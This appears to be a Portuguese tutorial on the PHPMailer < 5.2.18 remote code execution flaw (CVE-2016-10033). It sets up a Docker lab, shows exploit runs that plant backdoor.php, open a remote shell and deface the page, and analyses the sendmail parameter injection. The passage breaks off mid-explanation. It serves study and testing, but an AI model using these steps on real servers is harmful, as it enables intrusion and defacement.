
PHPMailer < 5.2.18 Execução Remota de Código
PHPMailer é a classe de transporte mais popular do mundo, com uma estimativa de 9 milhões de usuários mundialmente. Os downloads continuam em um ritmo significativo diariamente. Usado por muitos projetos de código aberto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e muitos mais
PHPMailer anterior à versão 5.2.18 sofre de uma vulnerabilidade que pode levar à execução remota de código (RCE). A função mailSend no transporte isMail do PHPMailer, quando a propriedade Sender não está definida, pode permitir que atacantes remotos passem parâmetros extras para o comando mail e, consequentemente, executem código arbitrário por meio de uma " (barra invertida e aspas duplas) em um endereço From manipulado.
Para configurar um ambiente vulnerável para seu teste, você precisará ter o Docker instalado e apenas executar o seguinte comando:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
E ele criará uma aplicação web vulnerável em seu host na porta 8080

Para explorar este alvo, basta executar:
./exploit host:port
Se você estiver usando esta imagem vulnerável, pode executar:
./exploit localhost:8080
Após a exploração, um arquivo chamado backdoor.php será armazenado na pasta raiz do diretório web. E o exploit lhe fornecerá um shell onde você pode enviar comandos para o backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
E é isso, você tem seu shell. Existe outro exploit, que ilustra outro caso de uso.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
E se você visitar a página novamente, verá isto:

Antes deste commit em class.phpmailer.php, em um determinado cenário, não há filtro nos caracteres especiais do endereço de e-mail do remetente. Essa falha pode levar à execução remota de código, através da função mail aqui.
Analisando o código, não há filtro na função mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender é diretamente anexado à variável $params, que foi filtrada na função validateAddress(), mas como ela usa a especificação RFC 3696, permite certos caracteres que podem quebrar as coisas.
Neste caso, aspas:
Além de usar aspas com o caractere de barra invertida, caracteres de aspas duplas convencionais podem ser usados para envolver strings. Por exemplo
"Abc@def"@example.com
"Fred Bloggs"@example.com
são formas alternativas dos dois primeiros exemplos acima. Essas formas entre aspas são raramente recomendadas e são incomuns na prática, mas, como discutido acima, devem ser suportadas por aplicações que processam endereços de e-mail. Em particular, as formas entre aspas frequentemente aparecem no contexto de endereços associados a transições de outros sistemas e contextos; esses requisitos de transição ainda surgem e, como um sistema que aceita um endereço de e-mail fornecido pelo usuário não pode "saber" se esse endereço está associado a um sistema legado, as formas de endereço devem ser aceitas e passadas para o ambiente de e-mail.
Você pode ler a RFC completa aqui se quiser. Mas também, se a versão do PHP for inferior a 5.2.0 e não houver PCRE instalado, a variável $patternselect em validateAddress() será definida como noregex. Isso fará com que a entrada possa evitar qualquer verificação de regex. Ela passará apenas por uma pequena verificação:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Em seguida, o fluxo do código vai para a função mailPassthru(), que, se estiver rodando em safe_mode, não será vulnerável a esta falha, conforme o código a seguir afirma
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Mas, se não estiver rodando em safe_mode, então nosso parâmetro especial será passado para mail() e, se tivermos sorte, ele pegará nosso arquivo contendo o que quisermos que seja escrito onde escolhermos que seja escrito.
A exploração da função mail() do PHP não é novidade, mas ainda está viva e as pessoas ainda a usam. Para explicar como funciona, vamos ver como a função mail() é definida:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Existem vários métodos de exploração para diferentes resultados, vamos focar na exploração do 5º parâmetro para obter Execução Remota de Código (RCE). O parâmetro $additional_parameters é usado para passar flags adicionais como opções de linha de comando para o programa configurado para enviar o e-mail. Essa configuração é definida pela variável sendmail_path.
Uma nota de segurança da documentação oficial do PHP:
O parâmetro additional_parameters pode ser usado para passar flags adicionais como opções de linha de comando para o programa configurado para ser usado ao enviar e-mail, conforme definido pela configuração sendmail_path. Por exemplo, isso pode ser usado para definir o endereço do envelope do remetente ao usar sendmail com a opção -f sendmiail.
Este parâmetro é escapado internamente por escapeshellcmd() para evitar execução de comandos. escapeshellcmd() evita execução de comandos, mas permite adicionar parâmetros adicionais. Por razões de segurança, é recomendado que o usuário sanitize este parâmetro para evitar adicionar parâmetros indesejados ao comando shell.
Considerando os parâmetros adicionais que podem ser injetados, usaremos -X para explorar esta falha. Mais sobre o parâmetro -X: